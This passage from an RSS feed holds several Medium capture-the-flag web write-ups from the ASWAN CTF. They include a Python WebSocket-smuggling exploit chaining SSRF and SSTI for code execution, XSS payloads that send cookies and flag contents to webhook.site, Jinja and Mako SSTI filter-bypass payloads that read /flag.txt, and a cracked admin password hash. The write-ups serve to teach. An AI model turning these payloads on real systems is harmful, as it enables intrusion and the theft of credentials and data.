href="/service/mailto:mohammed@example.com">mohammed@example.com</a>”,<br>“active”: true,<br>“role”: “user”,<br>“lastLogin”: “2025–01–11T10:15:00Z”,<br>“endpoint”: “/users/login”<br>},<br>{<br>“id”: 4,<br>“username”: “Abo l Nour”,<br>“email”: “<a href="/service/mailto:fatima@example.com">fatima@example.com</a>”,<br>“active”: true,<br>“role”: “admin”,<br>“lastLogin”: “2025–01–11T08:45:00Z”,<br>“endpoint”: “/users/login”<br>},<br>{<br>“id”: 5,<br>“username”: “Wasfy”,<br>“email”: “<a href="/service/mailto:wasfy@example.com">wasfy@example.com</a>”,<br>“active”: true,<br>“role”: “admin”,<br>“lastLogin”: “2025–01–09T12:30:00Z”,<br>“endpoint”: “/admin/login”<br>},<br>{<br>“id”: 6,<br>“username”: “Ali”,<br>“email”: “<a href="/service/mailto:Ali@example.com">Ali@example.com</a>”,<br>“active”: true,<br>“role”: “admin”,<br>“lastLogin”: “2025–01–11T07:20:00Z”,<br>“endpoint”: “/users/login”<br>},<br>{<br>“id”: 7,<br>“username”: “Mostafa”,<br>“email”: “<a href="/service/mailto:mostafa@example.com">mostafa@example.com</a>”,<br>“active”: true,<br>“role”: “admin”,<br>“lastLogin”: “2025–01–11T07:20:00Z”,<br>“endpoint”: “/admin/login”<br>},<br>{<br>“id”: 8,<br>“username”: “moussa”,<br>“email”: “<a href="/service/mailto:Ali@example.com">Ali@example.com</a>”,<br>“active”: true,<br>“role”: “user”,<br>“lastLogin”: “2025–01–11T07:20:00Z”,<br>“endpoint”: “/users/login”<br>},<br>{<br>“id”: 9,<br>“username”: “nour”,<br>“email”: “<a href="/service/mailto:mostafa@example.com">mostafa@example.com</a>”,<br>“active”: true,<br>“role”: “user”,<br>“lastLogin”: “2025–01–11T07:20:00Z”,<br>“endpoint”: “/users/login”<br>}<br>],<br>“summary”: {<br>“total”: 8,<br>“filtered”: 8<br>}<br>}<br>```<br>Now we have the admin username and we need the password<br>I thought there was a reset password function or action as in the docs</p><p>```JSON</p><p>“features”: [<br>“passwordReset”,<br>“emailNotifications”,<br>“auditLogging”<br>]}<br>```</p><p>there is passwordReset feature but it seems that it is not found.<br>The CTF ended and I didn’t solve that on time but after that my friend give me a hint and told me to focus on this line `”userData”: “?username=Name (get user data)”,`<br>didn’t get the idea at the beginning but I randomly tried to change the HTTP method while using username action<br>this is the default <strong>GET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ku1ik4tByiWOsKH--geskA.png" /></figure><p>and if you used <strong>TRACE</strong> with it. It will leak the password for some reason</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iW-gsF7vWsQ290rzk5VdNA.png" /></figure><p>This was kinda random and I didn’t like this part of the challenge at the beginning. but when I thought about it is like basics of API Pen test to try different HTTP methods.</p><p>let’s decode the password and see what we can do</p><p>after base64 decode we will get hash and we can find it on hashes.com</p><p>```</p><p>8a98e156d89a4fb9b45ea92eecd9984a:0129546216ahmedkeml</p><p>```</p><p>now lets login as admin and get our flag</p><p>I tried all usernames but it was giving me invalid but wasfy as lowercase worked it is stored in docs as “Wasfy” but if i write it with uppercase it refuses</p><p>anyways here is our flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*B7cDBSWeSQukN_u21yHnXA.png" /></figure><p>```<br>ASCWG{Gadmin_dashboard_access_placeholder}<br>```</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89c750aeace1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scan-ish Web Challange]]></title>
            <link>https://medium.com/@omarahmedhu8/scan-ish-web-challange-76c5593435fd?source=rss-4ec6f0c03f0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/76c5593435fd</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[aswan]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Korea]]></dc:creator>
            <pubDate>Tue, 29 Apr 2025 00:39:48 GMT</pubDate>
            <atom:updated>2025-04-29T00:39:48.675Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UiFGzXHLapF_cHYQCYBpxg.png" /></figure><p>Hello again,</p><p>This challenge remained unsolved during the CTF, so I decided to give it a try. It turned out to be a very helpful exercise that taught me several new concepts.</p><h3>Overview</h3><p>The challenge consists of two main components: a <strong>frontend webpage</strong> and a <strong>backend Python server</strong>.</p><p>The frontend is a simple page that accepts a URL and offers two options:</p><ul><li><strong>Test Connection</strong></li><li><strong>Start Scan</strong></li></ul><p>This setup mimics a basic vulnerability scanner.</p><p>We’ll come back to the frontend shortly, but first, let’s dive into the backend application.</p><h3>Backend Application</h3><p>The backend has four main endpoints:</p><pre>(r&quot;/api/public/ws/&quot;, WebSocketHandler),<br>(r&quot;/api/public/startscan&quot;, StartScanHandler),<br>(r&quot;/api/public/test&quot;, TestWebsiteHandler),<br>(r&quot;/api/private/report&quot;, GenerateReportHandler)</pre><p>Let’s go through each endpoint:</p><ol><li><strong>/api/public/ws/</strong> This endpoint handles <strong>WebSocket</strong> connections.</li><li><strong>/api/public/startscan</strong></li></ol><ul><li>Accepts a target_url and a client_id.</li><li>Simulates a vulnerability scan and returns a JSON containing status and a scan_id.</li><li><strong>Important</strong>: We will use this scan_id during exploitation.</li></ul><p>3. <strong>/api/public/test</strong></p><ul><li>Accepts a URL input, validates it, and performs a GET request to the provided URL.</li><li>This immediately hints at a potential <strong>SSRF</strong> (Server-Side Request Forgery) vulnerability.</li></ul><p>4. <strong>/api/private/report</strong></p><ul><li>Accepts report_name and scan_id.</li><li>The report_name is vulnerable to <strong>SSTI</strong> (Server-Side Template Injection).</li><li>However, access to this endpoint is protected by NGINX, making it unreachable directly.</li></ul><h3>Goal</h3><p>The goal is clear:</p><ul><li><strong>Bypass NGINX protection</strong> to reach /api/private/report</li><li><strong>Exploit SSTI</strong> to achieve <strong>Remote Code Execution (RCE)</strong> and retrieve the flag.</li></ul><h3>Analyzing NGINX Configuration</h3><p>The relevant NGINX configuration is:</p><pre>location ~ ^/api/public {<br>    proxy_pass http://scan-ish:5000;<br>    proxy_http_version 1.1;<br>    proxy_set_header Upgrade $http_upgrade;</pre><pre>    set $connection_upgrade &#39;&#39;;<br>    if ($http_upgrade) {<br>        set $connection_upgrade &#39;Upgrade&#39;;<br>    }<br>    proxy_set_header Connection $connection_upgrade;</pre><pre>    proxy_buffering off;<br>    proxy_cache off;</pre><pre>    proxy_read_timeout 3600;<br>    proxy_send_timeout 3600;<br>    proxy_connect_timeout 3600;</pre><pre>    proxy_set_header Host $host;<br>    proxy_set_header X-Real-IP $remote_addr;<br>    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>    proxy_set_header X-Forwarded-Proto $scheme;<br>}</pre><pre>location ~ ^/api/private {<br>    default_type text/plain;<br>    return 403 &quot;You need a higher rizz level to enter the backrooms.&quot;;<br>}</pre><p>Observations:</p><ul><li>The regex is configured correctly; no bypass via path manipulation is possible.</li><li>However, the presence of WebSocket-specific handling (Upgrade header) is very interesting!</li></ul><p>This hints at the possibility of a <strong>WebSocket-based reverse proxy bypass</strong>.</p><p>If you’re not familiar with WebSockets, <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API">this MDN page</a> is a great resource to start with.</p><h3>Finding the Vulnerability</h3><p>After researching WebSocket vulnerabilities that could lead to reverse proxy bypass, I found this excellent resource:</p><ul><li><a href="https://github.com/0ang3el/websocket-smuggle/tree/master">WebSocket Smuggling Research by 0ang3el</a></li></ul><p>It explains multiple scenarios, and <strong>Scenario 2</strong> matches our situation perfectly.</p><h3>In Short:</h3><ul><li>The attack depends on a vulnerable reverse proxy <strong>combined with SSRF</strong> in the web server.</li><li>We trick the server and proxy into opening a WebSocket connection <strong>without a proper handshake</strong>.</li><li>Once the tunnel is established, we can freely access internal endpoints like /api/private/report.</li></ul><h3>Attack Steps:</h3><ol><li>Send a <strong>POST request</strong> to the SSRF-vulnerable endpoint (/api/public/test) with a malicious URL pointing to our own server.</li><li>Host a server that responds with HTTP status <strong>101 Switching Protocols</strong> (the WebSocket handshake success code).</li><li>The backend will treat this 101 as a valid WebSocket upgrade and forward the connection to our machine.</li><li>We exploit this tunnel to access protected internal APIs without restrictions.</li><li>After that, we can trigger the SSTI vulnerability to achieve RCE.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1IZKGC3zGDPKClhiTElzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TiuOU-V4cNAmhd9WnXkfRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQ1aA79d3MMzx-2whiOnIw.png" /></figure><h3>Setting Up the Attack</h3><h3>1. Attacker Server</h3><p>We need a server that responds with 101 Switching Protocols:</p><pre>&lt;?php<br>// websocket-101.php<br>if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;GET&#39; || $_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>    http_response_code(101);<br>    exit;<br>}</pre><h3>2. Exploit Script</h3><p>The original script was written in Python 2. I updated it for Python 3:</p><pre>import socket<br>import json<br># Step 1: WebSocket Upgrade request<br>req1 = f&quot;&quot;&quot;POST /api/public/test HTTP/1.1<br>Host: 34.65.173.59<br>Connection: Upgrade<br>Upgrade: websocket<br>Content-Type: application/json<br>Content-Length: {len(json.dumps({&quot;url&quot;: &quot;http://attacker-server&quot;}))}<br>{json.dumps({&quot;url&quot;: &quot;http://attacker-server&quot;})}&quot;&quot;&quot;<br># Step 2: Internal API request (after WebSocket upgrade)<br>req2 = &quot;&quot;&quot;GET /api/private/report?scan_id=8e2aeecb-17ce-4740-b98e-99c4e3c381fa&amp;report_name={%import%20os%}{{os.popen(%22cat%20../../../flag_8k7zRTcJHmjZ.txt%22).read()}} HTTP/1.1<br>Host: 34.65.173.59<br>User-Agent: Mozilla/5.0 (Fake Browser)<br>Connection: keep-alive<br><br>&quot;&quot;&quot;<br>def exploit(target_host=&quot;34.65.173.59&quot;, target_port=80):<br>    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    sock.connect((target_host, target_port))<br>    # Send WebSocket upgrade request<br>    sock.sendall(req1.encode())<br>    response = sock.recv(4096)<br>    print(&quot;[*] Upgrade Response:&quot;, response.decode(errors=&#39;ignore&#39;))<br>    if &quot;101 Switching Protocols&quot; not in response.decode():<br>        print(&quot;[!] Failed to upgrade to WebSocket&quot;)<br>        return<br>    # Send internal API request<br>    sock.sendall(req2.encode())<br>    flag_response = sock.recv(4096)<br>    print(&quot;[*] Flag Response:&quot;, flag_response.decode(errors=&#39;ignore&#39;))<br>    sock.close()<br>if __name__ == &quot;__main__&quot;:<br>    exploit()</pre><h3>Important Notes:</h3><ul><li>You can obtain the scan_id from the /api/public/startscan endpoint by entering any URL and clicking &quot;Start Scan.&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HPwAg-pS3PE6rtGLzYlVZA.png" /></figure><ul><li>The scan_id <strong>refreshes every 15 minutes</strong>, so you must obtain a fresh one before exploiting.</li><li><strong>Spaces are not allowed</strong> in the SSTI payload; they must be encoded or avoided.</li></ul><h3>Finding the Flag</h3><p>Initially, running basic commands like ls revealed that /flag.txt didn&#39;t exist. After exploring deeper, I found the flag located at:</p><pre>../../../flag_8k7zRTcJHmjZ.txt</pre><p>Finally, we retrieved the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*527Ttmmkx9gKE-X-_2IwVg.png" /></figure><pre>YAO{D035_y0ur_3y3_50cket_w0rk?}</pre><h3>At The End</h3><p>This was a really fun and insightful challenge!<br>I want to thank <strong>“Z4ki”</strong>, the challenge author, for creating this awesome exercise and for helping me out when I had questions during debugging.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76c5593435fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ASWAN CTF Writeup]]></title>
            <link>https://medium.com/@omarahmedhu8/aswan-ctf-writeup-d2842a9b2b9d?source=rss-4ec6f0c03f0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2842a9b2b9d</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[aswan]]></category>
            <dc:creator><![CDATA[Korea]]></dc:creator>
            <pubDate>Sun, 27 Apr 2025 19:46:43 GMT</pubDate>
            <atom:updated>2025-04-27T20:01:20.047Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>ASWAN CTF Writeup Web</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/0*ncHQMwbxFyl6BHha.png" /></figure><p>Hello, everyone!<br>Hope you are doing great.</p><p>My awesome teammates and I secured <strong>first place</strong> in <strong>ASWAN CTF</strong>, and our team name is <strong>“وجه بحري boyz”</strong>! It was a great competition, and I learned a lot from it.</p><p>Before we start, I want to give a special thanks to <strong>Omar Kamal “omakmoh”</strong> who helped me a lot during the qualifications and the finals. I learned tons of new things from him.<br>Also, thanks to my teammates <strong>Youssef Ayman</strong> and <strong>Amr Khalid</strong> for their outstanding performance!</p><p>Now, let’s dive into the three web challenges we solved in the finals:</p><h3>Freeflag</h3><p>We were given two files: app.js and bot.js.</p><h3>bot.js</h3><p>The bot.js file performs the following tasks:</p><ol><li>Takes a URL as input.</li><li>Logs in as the admin.</li><li>Sets a cookie with SameSite=Lax and HttpOnly=false.</li><li>Visits the given link.</li></ol><pre>const cookieObjects = cookies.map(cookie =&gt; {<br>    const [nameValue, ...rest] = cookie.split(&#39;;&#39;);<br>    const [name, value] = nameValue.split(&#39;=&#39;);<br>    return {<br>        name: name.trim(),<br>        value: value.trim(),<br>        domain: &#39;127.0.0.1&#39;,<br>        path: &#39;/&#39;,<br>        httpOnly: false,<br>        sameSite: &#39;lax&#39;<br>    };<br>});</pre><ul><li>The cookie configuration with SameSite: lax and HttpOnly: false makes the cookie accessible via JavaScript, but it can only be sent to the <strong>same top-level domain</strong>.</li></ul><p>If we can achieve an <strong>XSS</strong> on any part of the same domain, we could <strong>steal the admin cookie or make the admin get the flag and send to webhook</strong>.</p><h3>app.js</h3><p>We have an endpoint to fetch the flag:</p><h3>/api/fetchflag</h3><ul><li>Requires authentication.</li><li>We cannot create new accounts, so we must steal the admin’s cookie or meke the bot get the flag from this endpoint and send it to us.</li></ul><p>Another important endpoint:</p><h3>/visit</h3><pre>app.post(&#39;/visit&#39;, async (req, res) =&gt; {<br>  const { url, visitor } = req.body;</pre><pre>  if (!url || !visitor) {<br>    return res.status(400).json({ error: &quot;URL and visitor name are required&quot; });<br>  }</pre><pre>  const visitSuccess = await visitUrl(url);</pre><pre>  if (visitSuccess) {<br>    const refId = uuidv4();<br>    const filter = content =&gt; !content.includes(&quot;&lt;&quot;) &amp;&amp; !content.includes(&quot;&gt;&quot;) ? content : &quot;guest&quot;;</pre><pre>    db.run(&quot;INSERT INTO reports (refId, visitor, url) VALUES (?, ?, ?)&quot;,<br>      [refId, String(filter(visitor)), url],<br>      (err) =&gt; {<br>        if (err) {<br>          console.error(err.message);<br>          return res.status(500).json({ error: &quot;Failed to save report&quot; });<br>        }<br>        res.json({<br>          message: &quot;Admin will check your report soon&quot;,<br>          referenceId: refId<br>        });<br>      });<br>});</pre><ul><li>The visitor input is filtered, but the url is <strong>not sanitized</strong>.</li></ul><h3>Exploitation Strategy</h3><p>If we submit a payload like:</p><pre>&lt;script&gt;<br>fetch(&#39;https://your-webhook-url.com&#39;, {<br>  method: &#39;POST&#39;,<br>  body: document.cookie<br>});<br>&lt;/script&gt;</pre><p>and <strong>host it on another domain</strong>, the bot will visit it <strong>but without cookies</strong> (because of SameSite: lax).</p><p>And that takes as to the next part When submitting a URL, we receive a <strong>Reference ID</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*GCr6yGg7KeGuWikExXfSaw.png" /></figure><p>We also have another endpoint:</p><h3>/api/reference/:refId</h3><pre>app.get(&#39;/api/reference/:refId&#39;, (req, res) =&gt; {<br>  const refId = req.params.refId;</pre><pre>  db.get(&quot;SELECT refId, visitor, url FROM reports WHERE refId = ?&quot;, [refId], (err, row) =&gt; {<br>    if (err) {<br>      console.error(err.message);<br>      return res.status(500).send(&quot;Database error&quot;);<br>    }</pre><pre>    if (!row) {<br>      return res.status(404).send(&quot;Reference ID not found&quot;);<br>    }<br>    res.send(<br>      `Reference ID: ${row.refId}\nVisitor: ${row.visitor}\nURL: ${row.url}`<br>    );<br>  });<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*ySYKp_e4jVca7RkeuvIYIw.png" /></figure><p>Here, the URL is rendered <strong>without any sanitization</strong> — meaning, if we inject <strong>XSS</strong> in the URL field, it will trigger on /api/reference/:refId (same domain!).</p><h3>Final Payload</h3><pre>https://webhook.site/your-id?xss=&lt;script&gt;<br>fetch(&#39;/api/fetchflag&#39;).then(r =&gt; r.text())<br>.then(d =&gt; fetch(&#39;https://webhook.site/your-id?flag=&#39; + encodeURIComponent(d)))<br>&lt;/script&gt;</pre><p>we will submit this payload and get the malicious reference id and after that Send the bot the following URL:</p><pre>http://127.0.0.1:5000/api/reference/&lt;your-ref-id&gt;</pre><p>✅ FLAG retrieved:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*LIzz7JmcW63covZin6ZCMQ.png" /></figure><pre>YAO{XSS_St1ll_Al1v3_W3lc0m3_T0_End_G4m3}</pre><h3>miniweb</h3><p>A simple Flask app:</p><pre>@app.route(&#39;/sub&#39;)<br>def sub():<br>    if request.args.get(&quot;name&quot;, &quot;&quot;):<br>        try:<br>            name = request.args.get(&quot;name&quot;, &quot;&quot;).strip()<br>            print(waf.sanitize_input(name))<br>            return Template(waf.sanitize_input(f&quot;{name} has subscribed successfully&quot;)).render()<br>        except:<br>            return &quot;error&quot;</pre><ul><li>Vulnerable to <strong>SSTI</strong> (Server-Side Template Injection).</li></ul><h3>Example</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nf28gQbucqnrEEfQkwhdqg.png" /></figure><p>Input:</p><pre>{{7*7}}</pre><p>Result:</p><pre>49</pre><p>The flag was stored internally at /flag.txt.</p><p>There was a <strong>WAF</strong> in place that filtered a lot of keywords, but after research, I found a bypass:</p><pre>self.__init__.__globals__.__builtins__.__import__(&#39;requests&#39;)</pre><p>Source: <a href="https://dojo-yeswehack.com/learn/vulnerabilities/jinja2">Dojo YesWeHack — Jinja2 Exploitation</a></p><h3>Retrieving the Flag</h3><p>We exploit the internal server running at internal-server:8000.</p><p>Blocked schemes include file, but we can bypass using FILE:/// (case insensitive).</p><p><strong>Final Payload:</strong></p><pre>name={{self.__init__.__globals__.__builtins__.__import__(&#39;requests&#39;).get(&#39;http://internal-server:8000/index.php?url=FILE:///flag.txt&#39;).text}}</pre><p>✅ FLAG retrieved:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KePoxh6zlEYW31kFPh8VRQ.png" /></figure><pre>YAO{T1nk3r_T1nk3r_l1ttl3_St4r_fa12d34}</pre><h3>GizmoGlance</h3><p>We have two Python files: external.py and internal.py.</p><h3>external.py</h3><p>Route:</p><h3>/review</h3><pre>@app.route(&#39;/review&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])<br>def review():<br>    if &#39;user&#39; not in session:<br>        return redirect(&#39;/login&#39;)<br>    if not session.get(&#39;admin&#39;):<br>        return &quot;Admins only.&quot;, 403</pre><pre>    class Review:<br>        reviews = {...}</pre><pre>        def addReview(self, review: str):<br>            if re.search(r&quot;(\\[xu0-9]|\$)&quot;, review, re.IGNORECASE):<br>                review = &quot;Innovative and sleek gadget.&quot;<br>            else:<br>                review = bytes(review, &quot;utf-8&quot;).decode(&quot;unicode_escape&quot;)<br>            self.reviews[review] = 4</pre><pre>        def getPage(self):<br>            ...</pre><ul><li>Vulnerable to <strong>SSTI</strong> but <strong>admin-only</strong>.</li></ul><h3>internal.py</h3><p>Route:</p><h3>/internal/dashboard</h3><pre>@app.route(&#39;/internal/dashboard&#39;, methods=[&#39;GET&#39;])<br>def admin_dashboard():<br>    username, password = get_admin_credentials()<br>    if username and password:<br>        return (<br>            f&#39;Welcome To Admin Dashboard,\nHere Are The Admin Credentials:\n\n&#39;<br>            f&#39;Username: {username}\nPassword: {password}&#39;<br>        ), 200<br>    else:<br>        return &#39;Admin credentials not found.&#39;, 404</pre><h3>proxy.py</h3><p>Proxy behavior:</p><pre>if &quot;internal&quot; in path:<br>    url = f&quot;{INTERNAL_NAME}{path}&quot;<br>else:<br>    url = f&quot;{EXTERNAL_NAME}/{path}&quot;</pre><ul><li>If internal appears in the path, no / is added and that breaks the URL and gives you 403 as it excutes the expection part of the code.</li></ul><h3>Bypass</h3><p>Use an @ symbol to trick the proxy:</p><pre>/external-path@internal-server/internal/dashboard</pre><p>this works as brwoser will handle the left part as user credintials and treats the right part as the url so that i will give us access to the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uys0x_EpzMGcAH9CzFjHGQ.png" /></figure><p>✅ Admin credentials retrieved.</p><h3>Exploiting SSTI</h3><p>Now logged in as admin, we access /review.</p><p>Testing:</p><ul><li>{{7*7}} won&#39;t work.</li><li>&lt;% print(7*7) %&gt; works.</li><li>you have to use print as <strong>&lt;% ... %&gt;</strong> tells the engine: <strong>&quot;Execute this Python code.&quot; </strong>But <strong>executing</strong> code ≠ <strong>producing output</strong>.</li><li>If you just do something like &lt;% 7*7 %&gt;the code <strong>runs</strong>, but <strong>the output stays internal</strong> and <strong>does not appear</strong> in the web response. But <strong>print(...)</strong> sends the output to <strong>stdout</strong>, which the template engine captures and <strong>injects into the rendered page</strong>.</li><li>you will not be able to access subclasses but you will have access to <strong><em>self.init.globals.builtins</em></strong></li></ul><p><strong>Final Payload:</strong></p><pre>&lt;% print(self.__init__.__globals__.__builtins__.open(&quot;/flag.txt&quot;).read()) %&gt;</pre><p>✅ FLAG retrieved:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-IzySCiBGzqJHb9T7hD_-g.png" /></figure><pre>YAO{r00ted_fr0m_4_g1zm0_w1th_l0v3}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2842a9b2b9d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>